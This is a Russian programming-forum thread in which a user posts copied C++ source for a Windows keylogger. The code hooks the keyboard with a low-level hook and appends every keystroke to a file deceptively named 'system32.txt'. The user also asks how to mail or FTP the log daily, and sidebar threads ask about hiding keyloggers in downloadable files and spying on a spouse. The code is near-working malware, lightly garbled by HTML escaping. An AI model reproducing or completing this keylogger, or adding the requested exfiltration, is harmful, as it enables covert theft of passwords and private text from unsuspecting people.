С Новым годом! Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.89/9: Рейтинг темы: голосов - 9, средняя оценка - 4.89
Mutant Koala

Теоретический момент по Keylogger на C++

10.12.2014, 22:14. Показов 1823. Ответов 1
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Есть код, копипастнутый с незначительными изменениями, это простейший Keylogger, есть два вопроса один практический другой теоретический.
1) почему MVS при отладке ругается на данный момент
C++
1
while (GetMessage(&message,NULL,0,0))
(идентификатор amp не определен)

2) как реализовать отсылку лога, допустим раз в сутки на мыло, и вообще возможно-ли это? Так же интересует этот вопрос по поводу пересылки на FTP.

соответственно вот исходник

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include < windows.h >
#include < fstream >
#include < iostream >
#include < algorithm >
#include < string >
 
using namespace std;
 
string myKey;
BOOL isCaps();
 
char logName[] = "system32.txt";//LOG FILE name
 
//init all varibles for speed
MSG message;
HHOOK keyboardHook;
char keyNameBuff[16];
PKBDLLHOOKSTRUCT p;
unsigned int sc;
//кейлоггер для Windows
void writeToLog(string s) //write a string to the log
{
     ofstream log(logName, ios::app); //opens log file
 
     log << s; //writes to log.. with format '['']'
 
     log.close(); //closes log
}
// Кейлоггер для Windows
BOOL isCaps()
{
     if ((GetKeyState(VK_CAPITAL) &amp; 0x0001)!=0 || 
        ((GetKeyState(VK_SHIFT) &amp; 0x8000)!=0)) 
     {
        return 1;
     } else {
        return 0;
     }
}
// Кейлоггер для Windows
LRESULT CALLBACK hookProc(int nCode, 
WPARAM wParam, LPARAM lParam)//proc to be run on hooked key
{  
  if (wParam == WM_KEYDOWN)//if key event type is key down
        {
    //get the keyname from lParam
    p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode
 
    sc = MapVirtualKey(p->vkCode, 0);
    sc <<= 16; //shift 16 bits
 
    if (!(p->vkCode <= 32))//if not ascii
    {
    sc |= 0x1 << 24; // <- extended bit
    }
 
    GetKeyNameTextA(sc,keyNameBuff,16);
                // Кейлоггер для Windows - исходник 
                //gets ASCII key name from sc into keyNameBuff
 
    //write keyname to log
    myKey = keyNameBuff;
    if (myKey == "Space") {
           writeToLog(" ");
        }
        else if (myKey == "Right Alt") {
             writeToLog("[R ALT]");
        }
        else if (myKey == "Enter") {
             writeToLog("[ENTER]");
        }
        else if (myKey == "Left Alt") {
             writeToLog("[L ALT]");
        }
        else if (myKey == "Tab") {
             writeToLog("[TAB]");
        }
        else if (myKey == "Backspace") {
             writeToLog("[BS]");
        }
        else if (myKey == "Caps Lock") {
             writeToLog("[CAPS]");
        }
        else if (myKey == "Delete") {
             writeToLog("[DEL]");
        }
        else if (myKey == "Right Shift") {
             writeToLog("[R SHIFT]");
        }
        else if (myKey == "Shift") {
             writeToLog("[L SHIFT]");
        }
        else if (myKey == "Ctrl") {
             writeToLog("[L CTRL]");
        }
        else if (myKey == "Right Ctrl") {
             writeToLog("[R CTRL]");
        }
        // if its none of the special keys
        else {
             if (isCaps() == 1) {
                writeToLog(myKey);
             } else {
                std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
                writeToLog(myKey);
             }
        }
}
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Кейлоггер для Windows
void msgLoop()
{
  while (GetMessage(&amp;message,NULL,0,0))
  {
    TranslateMessage(&amp;message);
    DispatchMessage(&amp;(message);
  }
}
// Кейлоггер для Windows
int WINAPI WinMain(HINSTANCE hInstance, 
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
  keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, 
        hookProc, hInstance, 0); //hooks keyboard
 
  msgLoop(); //stops from closing
        // Кейлоггер для Windows - исходник
  UnhookWindowsHookEx(keyboardHook); //unhooks
 
  return 0; //Never run
}
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
10.12.2014, 22:14
Ответы с готовыми решениями:

Keylogger
Программа должна перехватывать вводимый текст из всех окон и сохранять в файл, делать скриншоты экрана через указанный интервал, мониторинг...

USB Keylogger
Эх, была не была, может быть, помидорами не закидают =) Делаю: Аппаратный перехватчик данных с клавиатуры USB. В рамках курсового...

Посоветуйте keylogger
Приветствую. Мне недавно позвонил друг детства, говорит, что у него есть подозрение, что его жена ему изменяет. И ему интересно, что она...

1
3176 / 1935 / 312
Регистрация: 27.08.2010
Сообщений: 5,131
Записей в блоге: 1
11.12.2014, 06:39
Цитата Сообщение от Mutant Koala Посмотреть сообщение
1) почему
Потому, что HTML.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
11.12.2014, 06:39
Помогаю со студенческими работами здесь

Нужен keylogger
Нужен нормальный кейлогер (невидимость, доступ по паролю, запись посещаемых сайтов и запись вводимых данных к примеру в чат) это самое...

Заливаем keylogger
Всем доброго времени суток. Подскажите пожалуйста как можно залить keylogger в файл (jpg, txt, rar и т.д.), при скачивании которого...

Определить момент силы торможения, если момент инерции маховика равен 1кг/м^2
маховик делал 10 оборотов в секунду,при торможении он остановился,сделав 30 оборотов от начало торможения до остановки Определить момент...

Каков вращающий момент, действующий на маховик, если момент сил трения в подшипниках 0,2 Нм
Маховик, имеющий форму диска, массой 35кг и диаметром 60 см через 3 с после включения мотора приобретает угловую скорость 480 об/мин. Каков...

Определить скорость верхнего конца и момент импульса бревна в момент падения на землю
Столб высоты h=3,00 м и массы m=50,0 кг падает из вертикального положения на Землю. Определить скорость верхнего конца и момент импульса...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Новые блоги и статьи
Owen Logic: О недопустимости использования связки «аналоговый ПИД» + RegKZR
ФедосеевПавел 06.01.2026
Owen Logic: О недопустимости использования связки «аналоговый ПИД» + RegKZR ВВЕДЕНИЕ Введу сокращения: аналоговый ПИД — ПИД регулятор с управляющим выходом в виде числа в диапазоне от 0% до. . .
Модель микоризы: классовый агентный подход 2
anaschu 06.01.2026
репозиторий https:/ / github. com/ shumilovas/ fungi ветка по-частям. коммит Create переделка под биомассу. txt вход sc, но sm считается внутри мицелия. кстати, обьем тоже должен там считаться. . . .
Расчёт токов в цепи постоянного тока
igorrr37 05.01.2026
/ * Дана цепь постоянного тока с сопротивлениями и напряжениями. Надо найти токи в ветвях. Программа составляет систему уравнений по 1 и 2 законам Кирхгофа и решает её. Последовательность действий:. . .
Новый CodeBlocs. Версия 25.03
palva 04.01.2026
Оказывается, недавно вышла новая версия CodeBlocks за номером 25. 03. Когда-то давно я возился с только что вышедшей тогда версией 20. 03. С тех пор я давно снёс всё с компьютера и забыл. Теперь. . .
Модель микоризы: классовый агентный подход
anaschu 02.01.2026
Раньше это было два гриба и бактерия. Теперь три гриба, растение. И на уровне агентов добавится между грибами или бактериями взаимодействий. До того я пробовал подход через многомерные массивы,. . .
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост.
Programma_Boinc 28.12.2025
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост. Налог на собак: https:/ / **********/ gallery/ V06K53e Финансовый отчет в Excel: https:/ / **********/ gallery/ bKBkQFf Пост отсюда. . .
Кто-нибудь знает, где можно бесплатно получить настольный компьютер или ноутбук? США.
Programma_Boinc 26.12.2025
Нашел на реддите интересную статью под названием Anyone know where to get a free Desktop or Laptop? Ниже её машинный перевод. После долгих разбирательств я наконец-то вернула себе. . .
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка.
Programma_Boinc 23.12.2025
Рецензия / Мнение/ Перевод Нашел на реддите интересную статью под названием The Thinkpad X220 Tablet is the best budget school laptop period . Ниже её машинный перевод. Thinkpad X220 Tablet —. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru